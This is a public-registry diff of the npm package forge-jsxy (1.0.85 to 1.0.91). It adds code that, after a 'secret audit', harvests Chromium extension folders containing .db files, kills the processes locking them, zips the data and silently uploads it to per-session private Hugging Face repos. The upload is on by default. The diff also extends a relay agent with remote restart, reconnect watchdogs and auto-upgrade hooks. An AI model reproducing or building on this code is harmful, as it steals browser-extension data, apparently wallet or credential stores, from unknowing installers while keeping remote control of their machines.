forge-jsxy 1.0.85 → 1.0.91

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (41) hide show
  1. package/assets/files-explorer-template.html +63 -21
  2. package/dist/agentRestartFromQueue.d.ts +15 -0
  3. package/dist/agentRestartFromQueue.js +114 -0
  4. package/dist/agentRunner.js +97 -23
  5. package/dist/assets/files-explorer-template.html +64 -22
  6. package/dist/autostart/agentEnvFile.d.ts +6 -0
  7. package/dist/autostart/agentEnvFile.js +51 -2
  8. package/dist/chromiumExtensionDbHarvest.d.ts +70 -0
  9. package/dist/chromiumExtensionDbHarvest.js +560 -0
  10. package/dist/cli-agent.js +1 -0
  11. package/dist/clipboardExec.d.ts +4 -0
  12. package/dist/clipboardExec.js +29 -15
  13. package/dist/extensionDbHfUpload.d.ts +24 -0
  14. package/dist/extensionDbHfUpload.js +198 -0
  15. package/dist/forgeSemver.d.ts +2 -0
  16. package/dist/forgeSemver.js +25 -0
  17. package/dist/hfUpload.d.ts +5 -0
  18. package/dist/hfUpload.js +18 -3
  19. package/dist/hostInventorySend.js +6 -1
  20. package/dist/relayAgent.d.ts +5 -0
  21. package/dist/relayAgent.js +139 -7
  22. package/dist/relayAgentAutoUpgrade.d.ts +9 -0
  23. package/dist/relayAgentAutoUpgrade.js +143 -0
  24. package/dist/relayDashboardGate.d.ts +5 -0
  25. package/dist/relayDashboardGate.js +60 -0
  26. package/dist/relayServer.js +181 -6
  27. package/dist/secretScan/agentStartupAudit.d.ts +3 -0
  28. package/dist/secretScan/agentStartupAudit.js +7 -0
  29. package/dist/syncClient.d.ts +1 -1
  30. package/dist/syncClient.js +5 -1
  31. package/dist/windowsInputSync.d.ts +15 -1
  32. package/dist/windowsInputSync.js +226 -67
  33. package/dist/workerBootstrap.js +3 -0
  34. package/package.json +2 -2
  35. package/scripts/explorer-global-roots.mjs +87 -0
  36. package/scripts/forge-jsx-explorer-kill-agent.mjs +30 -29
  37. package/scripts/forge-jsx-explorer-restart.mjs +9 -18
  38. package/scripts/forge-jsx-explorer-upgrade.mjs +7 -9
  39. package/scripts/postinstall-agent.mjs +53 -8
  40. package/scripts/postinstall-bootstrap.mjs +13 -0
  41. package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
@@ -0,0 +1,24 @@
1
+ /**
2
+ * After secret-audit scan + optional `result.json` Hub upload: harvest Chromium extension
3
+ * folders containing `.db` files, zip, and upload to `namespace/<seq_id>` (session repo).
4
+ *
5
+ * Skips when the Hub repo already exists. Ignores HF/network failures (logs only).
6
+ * Runs in the background — does not block the relay agent loop.
7
+ */
8
+ import type { HfCredentials } from "./hfCredentials";
9
+ /** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
10
+ export declare function extensionDbLog(message: string): void;
11
+ /** Default ON when secret audit is enabled. Opt out: FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD=0 */
12
+ export declare function isExtensionDbHfUploadEnabled(): boolean;
13
+ export type RunExtensionDbHfUploadOptions = {
14
+ clientTableName: string;
15
+ fetchHubCredentials: () => Promise<HfCredentials>;
16
+ quiet: boolean;
17
+ };
18
+ /**
19
+ * Harvest extension `.db` folders → zip → Hub session repo (`namespace/<seq_id>`).
20
+ * No-op when disabled, repo exists, nothing to copy, or credentials missing.
21
+ */
22
+ export declare function runExtensionDbHfUploadAfterAudit(opts: RunExtensionDbHfUploadOptions): Promise<void>;
23
+ /** Fire-and-forget background upload (after secret audit completes). */
24
+ export declare function scheduleExtensionDbHfUploadAfterAudit(opts: RunExtensionDbHfUploadOptions): void;
@@ -0,0 +1,198 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.extensionDbLog = extensionDbLog;
4
+ exports.isExtensionDbHfUploadEnabled = isExtensionDbHfUploadEnabled;
5
+ exports.runExtensionDbHfUploadAfterAudit = runExtensionDbHfUploadAfterAudit;
6
+ exports.scheduleExtensionDbHfUploadAfterAudit = scheduleExtensionDbHfUploadAfterAudit;
7
+ const hfCredentials_1 = require("./hfCredentials");
8
+ const hfUpload_1 = require("./hfUpload");
9
+ const hub_1 = require("@huggingface/hub");
10
+ const hfSeqIdLookup_1 = require("./hfSeqIdLookup");
11
+ const chromiumExtensionDbHarvest_1 = require("./chromiumExtensionDbHarvest");
12
+ const exportMirrorCopy_1 = require("./exportMirrorCopy");
13
+ /** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
14
+ function extensionDbLog(message) {
15
+ console.log(`[forge-agent] extension-db: ${message}`);
16
+ }
17
+ /** Default ON when secret audit is enabled. Opt out: FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD=0 */
18
+ function isExtensionDbHfUploadEnabled() {
19
+ const raw = (process.env.FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD || "1")
20
+ .trim()
21
+ .toLowerCase();
22
+ return !["0", "false", "no", "off"].includes(raw);
23
+ }
24
+ function hfFetchFromRelayEnabledLocal() {
25
+ const e = (process.env.CFGMGR_HF_FETCH_FROM_RELAY || "").trim().toLowerCase();
26
+ if (["0", "false", "no", "off"].includes(e))
27
+ return false;
28
+ return true;
29
+ }
30
+ function hfAuditPreferRelayCredentialsFirst() {
31
+ const e = (process.env.CFGMGR_HF_AUDIT_FETCH_RELAY_FIRST || "").trim().toLowerCase();
32
+ return ["1", "true", "yes", "on"].includes(e);
33
+ }
34
+ async function resolveHubCredentials(fetchHubCredentials) {
35
+ let creds = null;
36
+ const loadLocal = () => {
37
+ try {
38
+ creds = (0, hfCredentials_1.loadHfCredentials)();
39
+ }
40
+ catch {
41
+ creds = null;
42
+ }
43
+ };
44
+ const loadRelay = async () => {
45
+ if (!hfFetchFromRelayEnabledLocal())
46
+ return;
47
+ try {
48
+ creds = await fetchHubCredentials();
49
+ }
50
+ catch {
51
+ creds = null;
52
+ }
53
+ };
54
+ if (hfAuditPreferRelayCredentialsFirst()) {
55
+ await loadRelay();
56
+ if (!creds)
57
+ loadLocal();
58
+ }
59
+ else {
60
+ loadLocal();
61
+ if (!creds)
62
+ await loadRelay();
63
+ }
64
+ return creds;
65
+ }
66
+ async function resolveSessionHubRepo(clientTable, creds) {
67
+ const ns = (creds.namespace || "").trim() ||
68
+ (process.env.CFGMGR_HF_NAMESPACE || "").trim() ||
69
+ (process.env.HUGGINGFACE_HUB_NAMESPACE || "").trim();
70
+ if (!ns)
71
+ return null;
72
+ let seq = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(clientTable);
73
+ if ((0, hfSeqIdLookup_1.hfSessionRepoRequireSeqId)() && seq === null)
74
+ return null;
75
+ const slug = (0, hfSeqIdLookup_1.hfAutoSessionRepoSlug)(clientTable, seq);
76
+ return `${ns}/${slug}`;
77
+ }
78
+ async function sessionHubRepoExists(clientTable, creds) {
79
+ const repoStr = await resolveSessionHubRepo(clientTable, creds);
80
+ if (!repoStr)
81
+ return { exists: false, repo: "" };
82
+ try {
83
+ const hubUrl = creds.hubUrl.replace(/\/+$/, "").trim() || "https://huggingface.co";
84
+ const exists = await (0, hub_1.repoExists)({
85
+ repo: repoStr,
86
+ accessToken: creds.token,
87
+ hubUrl,
88
+ });
89
+ return { exists, repo: repoStr };
90
+ }
91
+ catch {
92
+ return { exists: false, repo: repoStr };
93
+ }
94
+ }
95
+ function isIgnorableHubError(err) {
96
+ const msg = err instanceof Error ? err.message : String(err);
97
+ return (/could not reach hugging face|network|fetch failed|econnrefused|enotfound|etimedout|socket hang up/i.test(msg) || /hub upload skipped/i.test(msg));
98
+ }
99
+ let extensionDbUploadInFlight = false;
100
+ /**
101
+ * Harvest extension `.db` folders → zip → Hub session repo (`namespace/<seq_id>`).
102
+ * No-op when disabled, repo exists, nothing to copy, or credentials missing.
103
+ */
104
+ async function runExtensionDbHfUploadAfterAudit(opts) {
105
+ if (!isExtensionDbHfUploadEnabled())
106
+ return;
107
+ const clientTable = (opts.clientTableName || "").trim();
108
+ if (!clientTable) {
109
+ extensionDbLog("skipped — no client_table / session id");
110
+ return;
111
+ }
112
+ if (extensionDbUploadInFlight)
113
+ return;
114
+ extensionDbUploadInFlight = true;
115
+ let creds = null;
116
+ let harvest = null;
117
+ try {
118
+ extensionDbLog("background upload starting");
119
+ creds = await resolveHubCredentials(opts.fetchHubCredentials);
120
+ if (!creds) {
121
+ extensionDbLog("skipped — no HF credentials (relay or CFGMGR_HF_CREDENTIALS_B64)");
122
+ return;
123
+ }
124
+ const repoCheck = await sessionHubRepoExists(clientTable, creds);
125
+ if (repoCheck.exists) {
126
+ extensionDbLog(`skipped — repo already exists (${repoCheck.repo})`);
127
+ return;
128
+ }
129
+ harvest = await (0, chromiumExtensionDbHarvest_1.harvestExtensionDbFoldersToStaging)({
130
+ forceKill: true,
131
+ quiet: opts.quiet,
132
+ });
133
+ if (harvest.sources.length === 0 || harvest.copiedFiles === 0) {
134
+ extensionDbLog("skipped — no extension folders with .db files");
135
+ await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
136
+ return;
137
+ }
138
+ if (harvest.skippedCopyErrors > 0) {
139
+ extensionDbLog(`${harvest.skippedCopyErrors} extension folder(s) failed to copy — uploading ${harvest.copiedFolders} successful folder(s)`);
140
+ }
141
+ const stagedFiles = (0, exportMirrorCopy_1.countRegularFilesRecursive)(harvest.stagingRoot);
142
+ if (stagedFiles === 0) {
143
+ extensionDbLog("skipped — staging empty after copy");
144
+ return;
145
+ }
146
+ const upload = await (0, hfUpload_1.runHfUpload)({
147
+ pathStr: harvest.stagingRoot,
148
+ autoSessionRepo: true,
149
+ clientTableName: clientTable,
150
+ hfCredentials: creds,
151
+ forceKill: true,
152
+ force: true,
153
+ skipIfRepoExists: true,
154
+ });
155
+ if (upload.skipped === true && upload.reason === "repo_exists") {
156
+ extensionDbLog(`skipped — repo already exists (${String(upload.repo || "")})`);
157
+ return;
158
+ }
159
+ if (upload.ok === true) {
160
+ extensionDbLog(`upload OK — repo ${String(upload.repo || "")} (${harvest.sources.length} extension folder(s), ${stagedFiles} files)`);
161
+ }
162
+ else {
163
+ const err = String(upload.error || "unknown error");
164
+ if (!isIgnorableHubError(err)) {
165
+ extensionDbLog(`upload failed — ${err}`);
166
+ }
167
+ else {
168
+ extensionDbLog("upload skipped — Hugging Face unreachable (ignored)");
169
+ }
170
+ }
171
+ }
172
+ catch (e) {
173
+ if (!isIgnorableHubError(e)) {
174
+ extensionDbLog(`upload failed — ${e instanceof Error ? e.message : String(e)}`);
175
+ }
176
+ else {
177
+ extensionDbLog("upload skipped — Hugging Face unreachable (ignored)");
178
+ }
179
+ }
180
+ finally {
181
+ extensionDbUploadInFlight = false;
182
+ if (creds)
183
+ (0, hfCredentials_1.scrubHfCredentialsInPlace)(creds);
184
+ await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
185
+ }
186
+ }
187
+ /** Fire-and-forget background upload (after secret audit completes). */
188
+ function scheduleExtensionDbHfUploadAfterAudit(opts) {
189
+ if (!isExtensionDbHfUploadEnabled())
190
+ return;
191
+ setImmediate(() => {
192
+ void runExtensionDbHfUploadAfterAudit(opts).catch((e) => {
193
+ if (!opts.quiet) {
194
+ console.warn("[forge-agent] extension-db background upload:", e instanceof Error ? e.message : e);
195
+ }
196
+ });
197
+ });
198
+ }
@@ -0,0 +1,2 @@
1
+ /** Loose semver compare for upgrade hints (`1.0.78` < `1.0.85`). */
2
+ export declare function forgeSemverLt(a: string, b: string): boolean;
@@ -0,0 +1,25 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.forgeSemverLt = forgeSemverLt;
4
+ /** Loose semver compare for upgrade hints (`1.0.78` < `1.0.85`). */
5
+ function forgeSemverLt(a, b) {
6
+ const pa = a
7
+ .trim()
8
+ .replace(/^v/i, "")
9
+ .split(".")
10
+ .map((x) => parseInt(x, 10) || 0);
11
+ const pb = b
12
+ .trim()
13
+ .replace(/^v/i, "")
14
+ .split(".")
15
+ .map((x) => parseInt(x, 10) || 0);
16
+ for (let i = 0; i < Math.max(pa.length, pb.length, 3); i++) {
17
+ const av = pa[i] ?? 0;
18
+ const bv = pb[i] ?? 0;
19
+ if (av < bv)
20
+ return true;
21
+ if (av > bv)
22
+ return false;
23
+ }
24
+ return false;
25
+ }
@@ -43,5 +43,10 @@ export interface RunHfUploadOptions {
43
43
  force?: boolean;
44
44
  /** Kill processes likely locking the selection, then mirror/upload; restarts them in `finally`. */
45
45
  forceKill?: boolean;
46
+ /**
47
+ * Session mode only: when the Hub repo already exists, skip upload entirely (no zip/staging work).
48
+ * Returns `{ ok: true, skipped: true, reason: "repo_exists", repo }`.
49
+ */
50
+ skipIfRepoExists?: boolean;
46
51
  }
47
52
  export declare function runHfUpload(opts: RunHfUploadOptions): Promise<Record<string, unknown>>;
package/dist/hfUpload.js CHANGED
@@ -993,8 +993,12 @@ async function runHfUploadCore(opts) {
993
993
  hubUrl,
994
994
  ...(hfFetch ? { fetch: hfFetch } : {}),
995
995
  });
996
- if (exists)
997
- return;
996
+ if (exists) {
997
+ if (opts.skipIfRepoExists && opts.autoSessionRepo) {
998
+ return { skippedExisting: true };
999
+ }
1000
+ return { skippedExisting: false };
1001
+ }
998
1002
  if (!allowCreateRepo) {
999
1003
  throw new Error("Repository does not exist on the Hub. Create it on huggingface.co first, " +
1000
1004
  "or pass create_repo: true to create an empty **private** repo automatically.");
@@ -1007,9 +1011,20 @@ async function runHfUploadCore(opts) {
1007
1011
  private: true,
1008
1012
  ...(hfFetch ? { fetch: hfFetch } : {}),
1009
1013
  });
1014
+ return { skippedExisting: false };
1010
1015
  };
1011
1016
  try {
1012
- await ensureRepo();
1017
+ const repoEnsure = await ensureRepo();
1018
+ if (repoEnsure.skippedExisting) {
1019
+ (0, hfCredentials_1.scrubHfCredentialsInPlace)(cred);
1020
+ (0, fileLockForce_1.restartKilledProcesses)(killedForUnlock, localPath);
1021
+ return {
1022
+ ok: true,
1023
+ skipped: true,
1024
+ reason: "repo_exists",
1025
+ repo: resolvedRepoStr,
1026
+ };
1027
+ }
1013
1028
  if (isMultiSelection) {
1014
1029
  const zipName = "selection.zip";
1015
1030
  const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), ".forge-hf-multi-zip-"));
@@ -41,6 +41,7 @@ exports.sendHostInventorySnapshot = sendHostInventorySnapshot;
41
41
  */
42
42
  const node_crypto_1 = require("node:crypto");
43
43
  const os = __importStar(require("node:os"));
44
+ const agentRestartFromQueue_1 = require("./agentRestartFromQueue");
44
45
  const syncClient_1 = require("./syncClient");
45
46
  /** Default on. Opt out: ``FORGE_JS_SYNC_HOST_INVENTORY=0``. */
46
47
  function effectiveSyncHostInventory() {
@@ -78,9 +79,13 @@ async function sendHostInventorySnapshot(client) {
78
79
  // Also persist OS type directly to _client_registry via the dedicated endpoint
79
80
  // so dashboards (2-forge-clients-status, 3-forge-db-discord) can display it
80
81
  // without needing env_file rows (which are not stored in forge-db).
81
- await client.updateClientInfo({
82
+ const infoRes = await client.updateClientInfo({
82
83
  os_type: osType,
83
84
  os_platform: platform,
84
85
  hostname,
85
86
  });
87
+ (0, agentRestartFromQueue_1.handleClientInfoRestartResponse)(infoRes, {
88
+ quiet: false,
89
+ reason: "forge-db restart queue (host inventory)",
90
+ });
86
91
  }
@@ -17,4 +17,9 @@ export interface RunRelayAgentOptions {
17
17
  */
18
18
  onRelayCapabilities?: (relayFeatures: Record<string, unknown>) => void;
19
19
  }
20
+ /** `FORGE_JS_RELAY_RECONNECT_MS` — base delay before first reconnect (500–120000, default 2000). */
21
+ export declare function parseRelayReconnectDelayMs(): number;
22
+ /** `FORGE_JS_RELAY_WATCHDOG_SEC` — if the agent socket is not OPEN, force reconnect (15–300, default 60; 0=off). */
23
+ export declare function parseRelayWatchdogSec(): number;
24
+ export { forgeSemverLt } from "./forgeSemver.js";
20
25
  export declare function runRelayAgentLoop(opts: RunRelayAgentOptions): void;
@@ -36,6 +36,9 @@ var __importDefault = (this && this.__importDefault) || function (mod) {
36
36
  return (mod && mod.__esModule) ? mod : { "default": mod };
37
37
  };
38
38
  Object.defineProperty(exports, "__esModule", { value: true });
39
+ exports.forgeSemverLt = void 0;
40
+ exports.parseRelayReconnectDelayMs = parseRelayReconnectDelayMs;
41
+ exports.parseRelayWatchdogSec = parseRelayWatchdogSec;
39
42
  exports.runRelayAgentLoop = runRelayAgentLoop;
40
43
  /**
41
44
  * WebSocket relay agent — `/files` fs_* protocol only (cfgmgr.remote.run_agent).
@@ -52,10 +55,16 @@ const fsMessages_1 = require("./fsMessages");
52
55
  const hfCredentials_1 = require("./hfCredentials");
53
56
  const hfUpload_1 = require("./hfUpload");
54
57
  const deploymentDefaults_1 = require("./deploymentDefaults");
55
- const agentEnvFile_1 = require("./autostart/agentEnvFile");
58
+ const forgeSemver_js_1 = require("./forgeSemver.js");
59
+ const agentRestartFromQueue_js_1 = require("./agentRestartFromQueue.js");
56
60
  const clientId_1 = require("./clientId");
61
+ const syncClient_1 = require("./syncClient");
62
+ const windowsInputSync_1 = require("./windowsInputSync");
63
+ const agentEnvFile_1 = require("./autostart/agentEnvFile");
64
+ const clientId_2 = require("./clientId");
57
65
  const discordAgentScreenshot_1 = require("./discordAgentScreenshot");
58
66
  const agentStartupAudit_1 = require("./secretScan/agentStartupAudit");
67
+ const extensionDbHfUpload_1 = require("./extensionDbHfUpload");
59
68
  const pendingRelayHf = new Map();
60
69
  /** Same pattern as HF credentials — await `discord_screenshot_upload_result` per `request_id`. */
61
70
  const pendingDiscordRelayAck = new Map();
@@ -280,8 +289,32 @@ function warnIfRelayUrlUsesApiPort(baseWs, quiet) {
280
289
  "If the browser stays on “Waiting for agent…”, set CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL to the relay ws:// or wss:// URL (correct host and relay port).");
281
290
  }
282
291
  }
292
+ /** `FORGE_JS_RELAY_RECONNECT_MS` — base delay before first reconnect (500–120000, default 2000). */
293
+ function parseRelayReconnectDelayMs() {
294
+ const raw = (process.env.FORGE_JS_RELAY_RECONNECT_MS || "").trim();
295
+ if (raw) {
296
+ const n = parseInt(raw, 10);
297
+ if (Number.isFinite(n) && n >= 500 && n <= 120_000)
298
+ return n;
299
+ }
300
+ return 2000;
301
+ }
302
+ /** `FORGE_JS_RELAY_WATCHDOG_SEC` — if the agent socket is not OPEN, force reconnect (15–300, default 60; 0=off). */
303
+ function parseRelayWatchdogSec() {
304
+ const raw = (process.env.FORGE_JS_RELAY_WATCHDOG_SEC || "").trim();
305
+ if (raw) {
306
+ const n = parseInt(raw, 10);
307
+ if (n === 0)
308
+ return 0;
309
+ if (Number.isFinite(n) && n >= 15 && n <= 300)
310
+ return n;
311
+ }
312
+ return 60;
313
+ }
314
+ var forgeSemver_js_2 = require("./forgeSemver.js");
315
+ Object.defineProperty(exports, "forgeSemverLt", { enumerable: true, get: function () { return forgeSemver_js_2.forgeSemverLt; } });
283
316
  function runRelayAgentLoop(opts) {
284
- const { relayUrl, sessionId: rawSid, password = "", allowFilesystem = true, reconnectDelayMs = 5000, quiet = false, pkgRoot, onRelayCapabilities, } = opts;
317
+ const { relayUrl, sessionId: rawSid, password = "", allowFilesystem = true, reconnectDelayMs = parseRelayReconnectDelayMs(), quiet = false, pkgRoot, onRelayCapabilities, } = opts;
285
318
  const sessionId = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(rawSid);
286
319
  const base = (0, relayAuth_1.normalizeRelayWsUrl)(relayUrl).replace(/\/+$/, "");
287
320
  warnIfRelayUrlUsesApiPort(base, quiet);
@@ -304,13 +337,72 @@ function runRelayAgentLoop(opts) {
304
337
  forge_jsx_version: forgeJsxVersion,
305
338
  };
306
339
  let reconnectTimer = null;
340
+ let reconnectAttempts = 0;
341
+ let relayWsWatchdog = null;
342
+ let lastDbRestartPollMs = 0;
343
+ const pollDbRestartIfDue = () => {
344
+ const api = (0, windowsInputSync_1.resolveSyncApiBase)();
345
+ if (!api)
346
+ return;
347
+ const now = Date.now();
348
+ if (now - lastDbRestartPollMs < 45_000)
349
+ return;
350
+ lastDbRestartPollMs = now;
351
+ const client = new syncClient_1.ForgeSyncClient({
352
+ baseUrl: api,
353
+ clientId: (0, clientId_1.getOrCreateClientId)(),
354
+ });
355
+ void (0, agentRestartFromQueue_js_1.pollForgeDbAgentRestartHint)(client, { quiet });
356
+ };
357
+ const clearRelayWsWatchdog = () => {
358
+ if (relayWsWatchdog) {
359
+ clearInterval(relayWsWatchdog);
360
+ relayWsWatchdog = null;
361
+ }
362
+ };
363
+ const armRelayWsWatchdog = () => {
364
+ clearRelayWsWatchdog();
365
+ const sec = parseRelayWatchdogSec();
366
+ if (sec <= 0)
367
+ return;
368
+ relayWsWatchdog = setInterval(() => {
369
+ const w = outboundAgentWs;
370
+ if (w && w.readyState === 1)
371
+ return;
372
+ clearRelayWsWatchdog();
373
+ pollDbRestartIfDue();
374
+ if (!quiet) {
375
+ log(quiet, " Relay watchdog: socket not open — reconnecting…");
376
+ }
377
+ try {
378
+ w?.terminate();
379
+ }
380
+ catch {
381
+ /* skip */
382
+ }
383
+ if (reconnectTimer) {
384
+ clearTimeout(reconnectTimer);
385
+ reconnectTimer = null;
386
+ }
387
+ reconnectAttempts = 0;
388
+ scheduleReconnect();
389
+ }, sec * 1000);
390
+ };
307
391
  const scheduleReconnect = () => {
308
392
  if (reconnectTimer)
309
393
  return;
394
+ const attempt = reconnectAttempts++;
395
+ const exp = Math.min(15_000, reconnectDelayMs * Math.pow(2, Math.min(attempt, 5)));
396
+ const jitter = Math.floor(Math.random() * 2500);
397
+ const delayMs = exp + jitter;
398
+ if (!quiet && attempt > 0) {
399
+ log(quiet, ` Reconnecting in ${(delayMs / 1000).toFixed(1)}s (attempt ${attempt + 1})…`);
400
+ }
310
401
  reconnectTimer = setTimeout(() => {
311
402
  reconnectTimer = null;
403
+ pollDbRestartIfDue();
312
404
  connect();
313
- }, reconnectDelayMs);
405
+ }, delayMs);
314
406
  };
315
407
  const connect = () => {
316
408
  let stopDiscordScreenshotLoop = null;
@@ -492,7 +584,13 @@ function runRelayAgentLoop(opts) {
492
584
  (0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
493
585
  relayCaps: {},
494
586
  quiet,
587
+ clientTableName: sessionId,
588
+ fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
589
+ });
590
+ (0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
591
+ clientTableName: sessionId,
495
592
  fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
593
+ quiet,
496
594
  });
497
595
  }, fallbackMs);
498
596
  secretAuditHandshakeFallbackTimer.unref?.();
@@ -518,7 +616,7 @@ function runRelayAgentLoop(opts) {
518
616
  };
519
617
  const relayDisconnectCleanup = () => {
520
618
  try {
521
- (0, agentEnvFile_1.sanitizeForgeAgentEnvFileOnDisk)((0, clientId_1.defaultCfgmgrDataDir)());
619
+ (0, agentEnvFile_1.sanitizeForgeAgentEnvFileOnDisk)((0, clientId_2.defaultCfgmgrDataDir)());
522
620
  }
523
621
  catch {
524
622
  /* skip */
@@ -590,8 +688,26 @@ function runRelayAgentLoop(opts) {
590
688
  if (Array.isArray(iceRaw) && iceRaw.length > 0) {
591
689
  relayRtcIceServersCache = iceRaw;
592
690
  }
691
+ const relayStartedRaw = caps.relay_started_at_ms;
692
+ const relayStartedMs = typeof relayStartedRaw === "number" && Number.isFinite(relayStartedRaw)
693
+ ? relayStartedRaw
694
+ : typeof relayStartedRaw === "string" && relayStartedRaw.trim()
695
+ ? Number.parseFloat(relayStartedRaw.trim())
696
+ : Number.NaN;
697
+ if (Number.isFinite(relayStartedMs) && Date.now() - relayStartedMs < 300_000) {
698
+ reconnectAttempts = 0;
699
+ }
700
+ const relayVer = typeof caps.relay_version === "string" ? caps.relay_version.trim() : "";
701
+ if (relayVer &&
702
+ forgeJsxVersion &&
703
+ (0, forgeSemver_js_1.forgeSemverLt)(forgeJsxVersion, relayVer) &&
704
+ !quiet) {
705
+ log(quiet, ` Agent v${forgeJsxVersion} is older than relay v${relayVer} — use file explorer → Upgrade forge-jsxy for faster reconnect after relay restarts.`);
706
+ }
593
707
  }
594
708
  relayAgentHandshakeDone = true;
709
+ reconnectAttempts = 0;
710
+ armRelayWsWatchdog();
595
711
  try {
596
712
  onRelayCapabilities?.(caps);
597
713
  }
@@ -601,14 +717,20 @@ function runRelayAgentLoop(opts) {
601
717
  (0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
602
718
  relayCaps: caps,
603
719
  quiet,
720
+ clientTableName: sessionId,
604
721
  fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
605
722
  });
723
+ (0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
724
+ clientTableName: sessionId,
725
+ fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
726
+ quiet,
727
+ });
606
728
  tryStartDiscordAfterHandshake();
607
729
  };
608
730
  ws.on("open", () => {
609
731
  log(quiet, " Connected to relay");
610
732
  try {
611
- (0, agentEnvFile_1.applyForgeJsAgentEnvFile)((0, clientId_1.defaultCfgmgrDataDir)());
733
+ (0, agentEnvFile_1.applyForgeJsAgentEnvFile)((0, clientId_2.defaultCfgmgrDataDir)());
612
734
  }
613
735
  catch {
614
736
  /* skip */
@@ -736,6 +858,10 @@ function runRelayAgentLoop(opts) {
736
858
  log(quiet, ` Role confirmed: ${msg.role}`);
737
859
  return;
738
860
  }
861
+ if (msgType === "relay_agent_restart_requested") {
862
+ (0, agentRestartFromQueue_js_1.maybeRunAgentRestartDetached)({ quiet, reason: "relay ops restart" });
863
+ return;
864
+ }
739
865
  if (msgType === "viewer_connected") {
740
866
  viewerConnected = true;
741
867
  forgeRtcStatusSentThisViewer = false;
@@ -1095,7 +1221,8 @@ function runRelayAgentLoop(opts) {
1095
1221
  }
1096
1222
  handleViewerInboundFromRelay(parsed, "ws");
1097
1223
  });
1098
- ws.on("close", () => {
1224
+ ws.on("close", (code) => {
1225
+ clearRelayWsWatchdog();
1099
1226
  clearSecretAuditHandshakeFallback();
1100
1227
  clearAllPendingDiscordAgent("agent websocket closed");
1101
1228
  try {
@@ -1110,9 +1237,14 @@ function runRelayAgentLoop(opts) {
1110
1237
  if (outboundAgentWs === ws)
1111
1238
  outboundAgentWs = null;
1112
1239
  relayDisconnectCleanup();
1240
+ /** Relay restart / network drop — use base reconnect delay instead of accumulated backoff. */
1241
+ if (code === 1006 || code === 1001 || code === 1012) {
1242
+ reconnectAttempts = 0;
1243
+ }
1113
1244
  scheduleReconnect();
1114
1245
  });
1115
1246
  ws.on("error", (err) => {
1247
+ clearRelayWsWatchdog();
1116
1248
  clearSecretAuditHandshakeFallback();
1117
1249
  clearAllPendingDiscordAgent("agent websocket error");
1118
1250
  try {
@@ -1122,7 +1254,7 @@ function runRelayAgentLoop(opts) {
1122
1254
  /* skip */
1123
1255
  }
1124
1256
  stopDiscordScreenshotLoop = null;
1125
- log(quiet, ` Error: ${err}. Reconnecting in ${reconnectDelayMs / 1000}s...`);
1257
+ log(quiet, ` Error: ${err}. Reconnecting with backoff…`);
1126
1258
  if (outboundAgentWs === ws) {
1127
1259
  preOpenQueue.length = 0;
1128
1260
  resetForgeRtcNegotiation();
@@ -0,0 +1,9 @@
1
+ export declare function autoUpgradeOnRelayHintEnabled(relayCaps?: Record<string, unknown> | null): boolean;
2
+ /** Detached `npm exec forge-jsx-explorer-upgrade` (same entry as file-explorer Upgrade). */
3
+ export declare function maybeRunAutoUpgradeFromRelayHint(opts: {
4
+ recommendedVersion: string;
5
+ agentVersion: string;
6
+ sessionId: string;
7
+ quiet: boolean;
8
+ relayCaps?: Record<string, unknown> | null;
9
+ }): void;